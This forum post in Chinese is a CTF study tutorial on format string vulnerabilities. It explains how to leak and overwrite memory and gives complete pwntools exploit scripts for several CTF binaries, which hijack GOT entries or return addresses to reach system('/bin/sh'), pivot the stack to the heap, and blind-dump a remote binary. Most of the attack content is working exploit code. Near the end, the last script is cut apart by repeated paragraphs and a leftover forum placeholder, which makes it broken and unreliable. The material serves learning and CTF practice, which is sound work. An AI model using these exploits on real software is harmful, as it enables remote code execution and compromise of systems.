roger 发表于 2020-9-2 09:29:39

格式化字符串漏洞

1.原理格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。常见的有格式化字符串函数有
[*]输入

[*]scanf

[*]输出


2.漏洞利用程序崩溃只需要输入若干个 %s 即可%s%s%s%s%s%s%s%s%s%s%s%s%s%s这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。泄露内存#include
  int main() {
  char s;
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
  }
编译:gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c获取栈变量数值运行一下:gdb调试,下断点在printf处,然后运行输入:%08x.%08x.%08x可以看出,此时此时已经进入了 printf 函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为 a 的值,第四个变量为 b 的值,第五个变量为 c 的值,第六个变量为我们输入的格式化字符串对应的地址。继续运行程序,短在了第二个printf处:此时,由于格式化字符串为 %x%x%x,所以,程序 会将栈上的 0xffffcd94 及其之后的数值分别作为第一,第二,第三个参数按照 int 型进行解析,分别输出。果然输出了栈中的内容需要注意的是,我们上面给出的方法,都是依次获得栈中的每个参数,直接获取栈中被视为第 n+1 个参数的值:%n$x为什么这里要说是对应第 n+1 个参数呢?这是因为格式化参数里面的 n 指的是该格式化字符串对应的第 n 个输出参数,那相对于输出函数来说,就是第 n+1 个参数了。继续调试:输入%3$x我们确实获得了 printf 的第 4 个参数所对应的值 f7e8b6bb。获取栈变量对应字符串调试输入%stips
[*]利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
[*]利用 %s 来获取变量所对应地址的内容,只不过有零截断。
[*]利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。
泄露任意地址内存格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中 s 是 main 函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。addr%k$s下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定%p%p%p%p%p%p...由 0x41414141 处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第 5 个参数,但是是格式化字符串的第 4 个参数。通过传入got表地址,程序就会把got真实地址打印出来:from pwn import *
  sh = process('./leakmemory')
  leakmemory = ELF('./leakmemory')
  __isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
  print hex(__isoc99_scanf_got)
  payload = p32(__isoc99_scanf_got) + '%4$s'
  print payload
  gdb.attach(sh)
  sh.sendline(payload)
  sh.recvuntil('%4$s\n')
  print hex(u32(sh.recv())) # remove the first bytes of __isoc99_scanf@got
  sh.interactive()
其中,我们使用 gdb.attach(sh) 来进行调试。当我们运行到第二个 printf 函数的时候 (记得下断点),可以看到我们的第四个参数确实指向我们的 scanf 的地址同时,在我们运行的 terminal 下我们确实得到了 scanf 的地址。但是,并不是说所有的偏移机器字长的整数倍,可以让我们直接相应参数来获取,有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处,一般来说,类似于下面的这个样子。我们不能直接在命令行输入 \ x0c\xa0\x04\x08%4$s 这是因为虽然前面的确实是 printf@got 的地址,但是,scanf 函数并不会将其识别为对应的字符串,而是会将 \,x,0,c 分别作为一个字符进行读入。覆盖内存%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。 /* example/overflow/overflow.c */
  #include
  int a = 123, b = 456;
  int main() {
  int c = 789;
  char s;
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
  puts("modified c.");
  } else if (a == 2) {
  puts("modified a for a small number.");
  } else if (b == 0x12345678) {
  puts("modified b for a big number!");
  }
  return 0;
  }
覆盖栈内存 确定覆盖地址首先,我们自然是来想办法知道栈变量 c 的地址。由于目前几乎上所有的程序都开启了 aslr 保护,所以栈的地址一直在变,所以我们这里故意输出了 c 变量的地址。确定相对偏移 偏移为6进行覆盖 这样,第 6 个参数处的值就是存储变量 c 的地址,我们便可以利用 %n 的特征来修改 c 的值。payload 如下%12d%6$ndef forc():
  sh = process('./overflow')
  c_addr = int(sh.recvuntil('\n', drop=True), 16)
  print hex(c_addr)
  payload = p32(c_addr) + '%12d' + '%6$n'
  print payload
  #gdb.attach(sh)
  sh.sendline(payload)
  print sh.recv()
  sh.interactive()
  forc()
覆盖任意地址内存 覆盖小数字 首先,我们来考虑一下如何修改 data 段的变量为一个较小的数字,比如说,小于机器字长的数字。这里以 2 为例。可能会觉得这其实没有什么区别,可仔细一想,真的没有么?如果我们还是将要覆盖的地址放在最前面,那么将直接占用机器字长个 (4 或 8) 字节。显然,无论之后如何输出,都只会比 4 大。aa%k$nxx,如果用这样的方式,前面 aa%k 是第6个参数,$nxx 是第7个参数,后面在跟一个地址,那么这个地址就是第8个参数,只需要把 k 改成 8 就可以把这第八个参数改成想要的数值,aa%8$nxxdef fora():
  sh = process('./overflow')
  a_addr = 0x0804A024
  payload = 'aa%8$naa' + p32(a_addr)
  sh.sendline(payload)
  print sh.recv()
  sh.interactive()
我们没有必要必须把地址放在最前面,放在那里都可以,只要我们可以找到其对应的偏移即可。覆盖大数字 首先,所有的变量在内存中都是以字节进行存储的。在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。h对于整数类型,printf期待一个从short提升的int尺寸的整型参数。emmm,这是啥啊.....总之:hhn 写入的就是单字节,hn 写入的就是双字节我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。0x0804A028 \x780x0804A029 \x560x0804A02a \x340x0804A02b \x12所以payload:p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'我们可以依次进行计算。这里给出一个基本的构造,如下def fmt(prev, word, index):
  if prev < word:
  result = word - prev
  fmtstr = "%" + str(result) + "c"
  elif prev == word:
  result = 0
  else:
  result = 256 + word - prev
  fmtstr = "%" + str(result) + "c"
  fmtstr += "%" + str(index) + "$hhn"
  return fmtstr
  def fmt_str(offset, size, addr, target):
  payload = ""
  for i in range(4):
  if size == 4:
  payload += p32(addr + i)
  else:
  payload += p64(addr + i)
  prev = len(payload)
  for i in range(4):
  payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
  prev = (target >> i * 8) & 0xff
  return payload
  payload = fmt_str(6,4,0x0804A028,0x12345678)
其中每个参数的含义基本如下
[*]offset 表示要覆盖的地址最初的偏移
[*]size 表示机器字长
[*]addr 表示将要覆盖的地址。
[*]target 表示我们要覆盖为的目的变量值。
相应的 exploit 如下def forb():
  sh = process('./overwrite')
  payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
  print payload
  sh.sendline(payload)
  print sh.recv()
  sh.interactive()
当然也可以用pwntools自带的工具fmtstr_payloadfrom pwn import *
  sh = process('./overwrite')
  b_addr=0x0804A028
  sh.sendline(fmtstr_payload(6, {0x804A028:0x12345678}))
  #偏移为6,将0x804a028处的值改为0x12345678
  print sh.recv()
  sh.interactive()
3.例题64 位程序格式化字符串漏洞 2017 年的 UIUCTF 中 pwn200 GoodLuck程序读取了flag文件中的内容,并放在了栈上,那么直接通过格式化字符串输出就好可以看到 flag 对应的栈上的偏移为 5,除去对应的第一行为返回地址外,其偏移为 4。此外,由于这是一个 64 位程序,所以前 6 个参数存在在对应的寄存器中,fmt 字符串存储在 RDI 寄存器中,所以 fmt 字符串对应的地址的偏移为 10。而 fmt 字符串中 %order$s 对应的 order 为 fmt 字符串后面的参数的顺序,所以我们只需要输入 %9$s 即可得到 flag 的内容。好像可以用 https://github.com/scwuaptx/Pwngdb 中的 fmtarg 来判断某个参数的偏移。但这个我还没装,用不了hijack GOT在目前的 C 程序中,在没有开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤
[*]确定函数 A 的 GOT 表地址。

[*]这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。

[*]确定函数 B 的内存地址

[*]这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。

[*]将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。

[*]这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种

[*]写入函数:write 函数。
[*]ROP
pop eax; ret;         # printf@got -> eax
  pop ebx; ret;         # (addr_offset = system_addr - printf_addr) -> ebx
  add ebx; ret;   # = + addr_offset

[*]格式化字符串任意地址写
2016 CCTF 中的 pwn3 先将输入+1后与sysbdmin比较所以是rxraclhm三个功能:在get里有格式化字符串漏洞既然有了格式化字符串漏洞,那么我们可以确定如下的利用思路
[*]绕过密码
[*]确定格式化字符串参数偏移
[*]利用 put@got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址。
[*]修改 puts@got 的内容为 system 的地址。
[*]当程序再次执行 puts 函数的时候,其实执行的是 system 函数。
调试下断点偏移为7from pwn import *
  from LibcSearcher import LibcSearcher
  sh = process('./pwn3')
  pwn3 = ELF('./pwn3')
  #首先要登陆,用户名是:rxraclhm
  sh.recvuntil('Name (ftp.hacker.server:Rainism):')
  sh.sendline('rxraclhm')
  #使用put(put_file),先写进去
  puts_got = pwn3.got['puts']
  sh.sendline('put')
  sh.recvuntil('please enter the name of the file you want to upload:')
  sh.sendline('1111')
  sh.recvuntil('then, enter the content:')
  content='%8$s' + p32(puts_got)
  sh.sendline(content)
  #通过get(get_file)执行格式化字符串漏洞,读出put函数的地址
  sh.sendline('get')
  sh.recvuntil('enter the file name you want to get:')
  sh.sendline('1111')
  puts_addr = u32(sh.recv()[:4])
  #计算libc,从而算出system的地址
  libc=LibcSearcher("puts", puts_addr)
  libc_base=puts_addr-libc.dump('puts')
  sys_addr=libc_base+libc.dump('system')
  #把第七个参数的puts_got改成system的地址
  payload = fmtstr_payload(7, {puts_got: sys_addr})
  sh.sendline('put')
  sh.recvuntil('please enter the name of the file you want to upload:')
  #在运行show_dir时将puts(“/bin/sh;”)变成system("/bin/sh;"),并成功获取shell
  sh.sendline('/bin/sh;')
  sh.recvuntil('then, enter the content:')
  sh.sendline(payload)
  #通过get(get_file)执行格式化字符串漏洞
  sh.recvuntil('ftp>')
  sh.sendline('get')
  sh.recvuntil('enter the file name you want to get:')
  sh.sendline('/bin/sh;')
  #通过dir(show_dir)来拿到shell
  sh.sendline('dir')
  sh.interactive()
hijack retaddr劫持返回地址三个白帽 - pwnme_k0 格式化字符串漏洞+后门函数在漏洞的printf函数前下断点,输入用户名为aaaaaaaa,密码为%p.%p.%p.%p.%p.%p可以发现我们输入的用户名在栈上第三个位置,那么除去本身格式化字符串的位置,其偏移为为 5 + 3 = 8。可以看到栈上第二个位置存储的就是该函数的返回地址 (其实也就是调用 show account 函数时执行 push rip 所存储的值),在格式化字符串中的偏移为 7。与此同时栈上,第一个元素存储的也就是上一个函数的 rbp。所以我们可以得到偏移 0x00007fffffffdb90 - 0x00007fffffffdb58 = 0x38。继而如果我们知道了 rbp 的数值,就知道了函数返回地址的地址0x0000000000400d74 与 0x00000000004008A6 只有低 2 字节不同,所以我们可以只修改 0x00007fffffffdb48 开始的 2 个字节。这里需要说明的是在某些较新的系统 (如 ubuntu 18.04) 上, 直接修改返回地址为 0x00000000004008A6 时可能会发生程序 crash, 这时可以考虑修改返回地址为 0x00000000004008AA, 即直接调用 system("/bin/sh") 处from pwn import *
  context.log_level="debug"
  context.arch="amd64"
  sh=process("./pwnme_k0")
  binary=ELF("pwnme_k0")
  #gdb.attach(sh)
  sh.recv()
  sh.sendline("1"*8)
  sh.recv()
  sh.sendline("%6$p")
  sh.recv()
  sh.sendline("1")
  sh.recvuntil("0x")
  ret_addr = int(sh.recvline().strip(),16) - 0x38
  success("ret_addr:"+hex(ret_addr))
  sh.recv()
  sh.sendline("2")
  sh.recv()
  sh.sendline(p64(ret_addr))
  sh.recv()
  #sh.writeline("%2214d%8$hn")
  #0x4008aa-0x4008a6
  sh.sendline("%2218d%8$hn")
  sh.recv()
  sh.sendline("1")
  sh.recv()
  sh.interactive()
  
堆上的格式化字符串漏洞 2015 年 CSAW 中的 contacts 仔细看看,可以发现这个 format 其实是指向堆中的。程序中压入栈中的 ebp 值其实保存的是上一个函数的保存 ebp 值的地址,所以我们可以修改其上层函数的保存的 ebp 的值,即上上层函数(即 main 函数)的 ebp 数值。这样当上层程序返回时,即实现了将栈迁移到堆的操作。基本思路如下
[*]首先获取 system 函数的地址

[*]通过泄露某个 libc 函数的地址根据 libc database 确定。

[*]构造 system_addr + 'bbbb' + binsh_addr
[*]修改上层函数保存的 ebp(即上上层函数的 ebp) 为存储 system_addr 的地址 -4。
[*]当主程序返回时,会有如下操作

[*]move esp,ebp,将 esp 指向 system_addr 的地址 - 4
[*]pop ebp, 将 esp 指向 system_addr
[*]ret,将 eip 指向 system_addr,从而获取 shell。
首先,我们根据栈上存储的 libc_start_main_ret 地址 (该地址是当 main 函数执行返回时会运行的函数) 来获取 system 函数地址、/bin/sh 地址。在printf下断点,然后算出偏移为31其次,我们可以确定栈上存储格式化字符串的地址 0xffffcd2c 相对于格式化字符串的偏移为 11再者,我们可以看出下面的地址保存着上层函数的调用地址,其相对于格式化字符串的偏移为 6,这样我们可以直接修改上层函数存储的 ebp 的值。0xffffcd18│+0x1c: 0xffffcd48→0xffffcd78→0x00000000   ← $ebp构造联系人获取堆地址 得知上面的信息后,我们可以利用下面的方式获取堆地址与相应的 ebp 地址。[%6$p][%11$p]来获取对应的相应的地址。后面的 bbbb 是为了接受字符串方便。在部分环境下,system 地址会出现 \ x00,导致 printf 的时候出现 0 截断导致无法泄露两个地址,因此可以将 payload 的修改如下:[%6$p][%11$p]payload 修改为这样的话,还需要在 heap 上加入 12 的偏移。这样保证了 0 截断出现在泄露之后。修改 ebppart1 = (heap_addr - 4) / 2
  part2 = heap_addr - 4 - part1
  payload = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n'
获取 shell这时,执行完格式化字符串函数之后,退出到上上函数,我们输入 5,退出程序即会执行 ret 指令,就可以获取 shell。from pwn import *
  from LibcSearcher import *
  contact = ELF('./contacts')
  ##context.log_level = 'debug'
  if args['REMOTE']:
  sh = remote(11, 111)
  else:
  sh = process('./contacts')
  def createcontact(name, phone, descrip_len, description):
  sh.recvuntil('>>> ')
  sh.sendline('1')
  sh.recvuntil('Contact info: \n')
  sh.recvuntil('Name: ')
  sh.sendline(name)
  sh.recvuntil('You have 10 numbers\n')
  sh.sendline(phone)
  sh.recvuntil('Length of description: ')
  sh.sendline(descrip_len)
  sh.recvuntil('description:\n\t\t')
  sh.sendline(description)
  def printcontact():
  sh.recvuntil('>>> ')
  sh.sendline('4')
  sh.recvuntil('Contacts:')
  sh.recvuntil('Description: ')
  ## get system addr & binsh_addr
  payload = '%31$paaaa'
  createcontact('1111', '1111', '111', payload)
  printcontact()
  libc_start_main_ret = int(sh.recvuntil('aaaa', drop=True), 16)
  log.success('get libc_start_main_ret addr: ' + hex(libc_start_main_ret))
  libc = LibcSearcher('__libc_start_main_ret', libc_start_main_ret)
  libc_base = libc_start_main_ret - libc.dump('__libc_start_main_ret')
  system_addr = libc_base + libc.dump('system')
  binsh_addr = libc_base + libc.dump('str_bin_sh')
  log.success('get system addr: ' + hex(system_addr))
  log.success('get binsh addr: ' + hex(binsh_addr))
  ##gdb.attach(sh)
  ## get heap addr and ebp addr
  payload = flat([
  system_addr,
  'bbbb',
  binsh_addr,
  '%6$p%11$pcccc',
  ])
  createcontact('2222', '2222', '222', payload)
  printcontact()
  sh.recvuntil('Description: ')
  data = sh.recvuntil('cccc', drop=True)
  data = data.split('0x')
  print data
  ebp_addr = int(data, 16)
  heap_addr = int(data, 16)
  ## modify ebp
  part1 = (heap_addr - 4) / 2
  part2 = heap_addr - 4 - part1
  payload = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n'
  ##print payload
  createcontact('3333', '123456789', '300', payload)
  printcontact()
  sh.recvuntil('Description: ')
  sh.recvuntil('Description: ')
  ##gdb.attach(sh)
  print 'get shell'
  sh.recvuntil('>>> ')
  ##get shell
  sh.sendline('5')
  sh.interactive()
system 出现 0 截断的情况下,exp 如下:from pwn import *
  context.log_level="debug"
  context.arch="x86"
  io=process("./contacts")
  binary=ELF("contacts")
  libc=binary.libc
  def createcontact(io, name, phone, descrip_len, description):
  sh=io
  sh.recvuntil('>>> ')
  sh.sendline('1')
  sh.recvuntil('Contact info: \n')
  sh.recvuntil('Name: ')
  sh.sendline(name)
  sh.recvuntil('You have 10 numbers\n')
  sh.sendline(phone)
  sh.recvuntil('Length of description: ')
  sh.sendline(descrip_len)
  sh.recvuntil('description:\n\t\t')
  sh.sendline(description)
  def printcontact(io):
  sh=io
  sh.recvuntil('>>> ')
  sh.sendline('4')
  sh.recvuntil('Contacts:')
  sh.recvuntil('Description: ')
  #gdb.attach(io)
  createcontact(io,"1","1","111","%31$paaaa")
  printcontact(io)
  libc_start_main = int(io.recvuntil('aaaa', drop=True), 16)-241
  log.success('get libc_start_main addr: ' + hex(libc_start_main))
  libc_base=libc_start_main-libc.symbols["__libc_start_main"]
  system=libc_base+libc.symbols["system"]
  binsh=libc_base+next(libc.search("/bin/sh"))
  log.success("system: "+hex(system))
  log.success("binsh: "+hex(binsh))
  payload = '%6$p%11$pccc'+p32(system)+'bbbb'+p32(binsh)+"dddd"
  createcontact(io,'2', '2', '111', payload)
  printcontact(io)
  io.recvuntil('Description: ')
  data = io.recvuntil('ccc', drop=True)
  data = data.split('0x')
  print data
  ebp_addr = int(data, 16)
  heap_addr = int(data, 16)+12
  log.success("ebp: "+hex(system))
  log.success("heap: "+hex(heap_addr))
  part1 = (heap_addr - 4) / 2
  part2 = heap_addr - 4 - part1
  payload = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n'
  #payload=fmtstr_payload(6,{ebp_addr:heap_addr})
  ##print payload
  createcontact(io,'3333', '123456789', '300', payload)
  printcontact(io)
  io.recvuntil('Description: ')
  io.recvuntil('Description: ')
  ##gdb.attach(sh)
  log.success("get shell")
  io.recvuntil('>>> ')
  ##get shell
  io.sendline('5')
  io.interactive()
这一块看的我有点晕...格式化字符串盲打fmt_blind_stack告诉我们flag在栈上,那一个个试就好from pwn import *
  context.log_level = 'error'
  def leak(payload):
  #sh = remote('127.0.0.1', 9999)
  sh = process('./blind')
  sh.sendline(payload)
  data = sh.recvuntil('\n', drop=True)
  if data.startswith('0x'):
  print p64(int(data, 16))
  sh.close()
  i = 1
  while 1:
  payload = '%{}$p'.format(i)
  leak(payload)
  i += 1
blind_fmt_got 偏移为6由于程序是 64 位,所以我们从 0x400000 处开始泄露。一般来说有格式化字符串漏洞的盲打都是可以读入 '\x00' 字符的,,不然没法泄露怎么玩,,除此之后,输出必然是 '\x00' 截断的,这是因为格式化字符串漏洞利用的输出函数均是 '\x00' 截断的。。所以我们可以利用如下的泄露代码。##coding=utf8
  from pwn import *
  ##context.log_level = 'debug'
  ip = "127.0.0.1"
  port = 9999
  def leak(addr):
  # leak addr for three times
  num = 0
  while num < 3:
  try:
  print 'leak addr: ' + hex(addr)
  sh = remote(ip, port)
  payload = '%00008$s' + 'STARTEND' + p64(addr)
  # 说明有\n,出现新的一行
  if '\x0a' in payload:
  return None
  sh.sendline(payload)
  data = sh.recvuntil('STARTEND', drop=True)
  sh.close()
  return data
  except Exception:
  num += 1
  continue
  return None
  def getbinary():
  addr = 0x400000
  f = open('binary', 'w')
  while addr < 0x401000:
  data = leak(addr)
  if data is None:
  f.write('\xff')
  addr += 1
  elif len(data) == 0:
  f.write('\x00')
  addr += 1
  else:
  f.write(data)
  addr += len(data)
  f.close()
  getbinary()
需要注意的是,在 payload 中需要判断是否有 '\n' 出现,因为这样会导致源程序只读取前面的内容,而没有办法泄露内存,所以需要跳过这样的地址。分析 binaryida以二进制打开文件,然后编辑->段->重新设置基址0x400000按c可以分析可以基本确定的是 sub_4004C0 为 read 函数,因为读入函数一共有三个参数的话,基本就是 read 了。此外,下面调用的 sub_4004B0 应该就是输出函数了,再之后应该又调用了一个函数,此后又重新跳到读入函数处,那程序应该是一个 while 1 的循环,一直在执行。
分析完上面的之后,我们可以确定如下基本思路
[*]泄露 printf 函数的地址,
[*]获取对应 libc 以及 system 函数地址
[*]修改 printf 地址为 system 函数地址
[*]读入 /bin/sh; 以便于获取 shell
##coding=utf8
  import math
  from pwn import *
  from LibcSearcher import LibcSearcher
  ##context.log_level = 'debug'
  context.arch = 'amd64'
  ip = "127.0.0.1"
  port = 9999
  def leak(addr):
  # leak addr for three times
  num = 0
  while num < 3:
  try:
  print 'leak addr: ' + hex(addr)
  sh = remote(ip, port)
  payload = '%00008$s' + 'STARTEND' + p64(addr)
  # 说明有\n,出现新的一行
  if '\x0a' in payload:
  return None
  sh.sendline(payload)
  data = sh.recvuntil('STARTEND', drop=True)
  sh.close()
  return data
  except Exception:
  num += 1
  continue
  return None
  def getbinary():
  addr = 0x400000
  f = open('binary', 'w')
  while addr < 0x401000:
  data = leak(addr)
  if data is None:
  f.write('\xff')
  addr += 1
  elif len(data) == 0:
  f.write('\x00')
  addr += 1
  else:
  f.write(data)
  addr += len(data)
  f.close()
  ##getbinary()
  read_got = 0x601020
  printf_got = 0x601018
  sh = remote(ip, port)
  ## let the read get resolved
  sh.sendline('a')
  sh.recv()
  ## get printf addr
  payload = '%00008$s' + 'STARTEND' + p64(read_got)
  sh.sendline(payload)
  data = sh.recvuntil('STARTEND', drop=True).ljust(8, '\x00')
  sh.recv()
  read_addr = u64(data)
  ## get system addr
  libc = LibcSearcher('read', read_addr)
  libc_base = read_addr - libc.dump('read')
  system_addr = libc_base + libc.dump('system')
  log.success('system addr: ' + hex(system_addr))
  log.success('read   addr: ' + hex(read_addr))
  ## modify printf_got
  payload = fmtstr_payload(6, {printf_got: system_addr}, 0, write_size='short')
  ## get all the addr
  addr = payload[:32]
  payload = '%32d' + payload
  offset = (int)(math.ceil(len(payload) / 8.0) + 1)
  for i in range(6, 10):
  old = '%{}
fmtstr_payload 直接得到的 payload 会将地址放在前面,而这个会导致 printf 的时候 '\x00' 截断(关于这一问题,pwntools 目前正在开发 fmt_payload 的加强版,估计快开发出来了。)。所以我使用了一些技巧将它放在后面了。主要的思想是,将地址放在后面 8 字节对齐的地方,并对 payload 中的偏移进行修改。需要注意的是offset = (int)(math.ceil(len(payload) / 8.0) + 1)这一行给出了修改后的地址在格式化字符串中的偏移,之所以是这样在于无论如何修改,由于 '%order$hn' 中 order 多出来的字符都不会大于 8。具体的可以自行推导。4.检测 LazyIDA工具倒数第三行成功找到

.format(i)
  new = '%{}
fmtstr_payload 直接得到的 payload 会将地址放在前面,而这个会导致 printf 的时候 '\x00' 截断(关于这一问题,pwntools 目前正在开发 fmt_payload 的加强版,估计快开发出来了。)。所以我使用了一些技巧将它放在后面了。主要的思想是,将地址放在后面 8 字节对齐的地方,并对 payload 中的偏移进行修改。需要注意的是[        DISCUZ_CODE_20        ]这一行给出了修改后的地址在格式化字符串中的偏移,之所以是这样在于无论如何修改,由于 '%order$hn' 中 order 多出来的字符都不会大于 8。具体的可以自行推导。4.检测 LazyIDA工具倒数第三行成功找到

.format(offset + i)
  payload = payload.replace(old, new)
  remainer = len(payload) % 8
  payload += (8 - remainer) * 'a'
  payload += addr
  sh.sendline(payload)
  sh.recv()
  ## get shell
  sh.sendline('/bin/sh;')
  sh.interactive()
fmtstr_payload 直接得到的 payload 会将地址放在前面,而这个会导致 printf 的时候 '\x00' 截断(关于这一问题,pwntools 目前正在开发 fmt_payload 的加强版,估计快开发出来了。)。所以我使用了一些技巧将它放在后面了。主要的思想是,将地址放在后面 8 字节对齐的地方,并对 payload 中的偏移进行修改。需要注意的是[        DISCUZ_CODE_20        ]这一行给出了修改后的地址在格式化字符串中的偏移,之所以是这样在于无论如何修改,由于 '%order$hn' 中 order 多出来的字符都不会大于 8。具体的可以自行推导。4.检测 LazyIDA工具倒数第三行成功找到

页: [1]
查看完整版本: 格式化字符串漏洞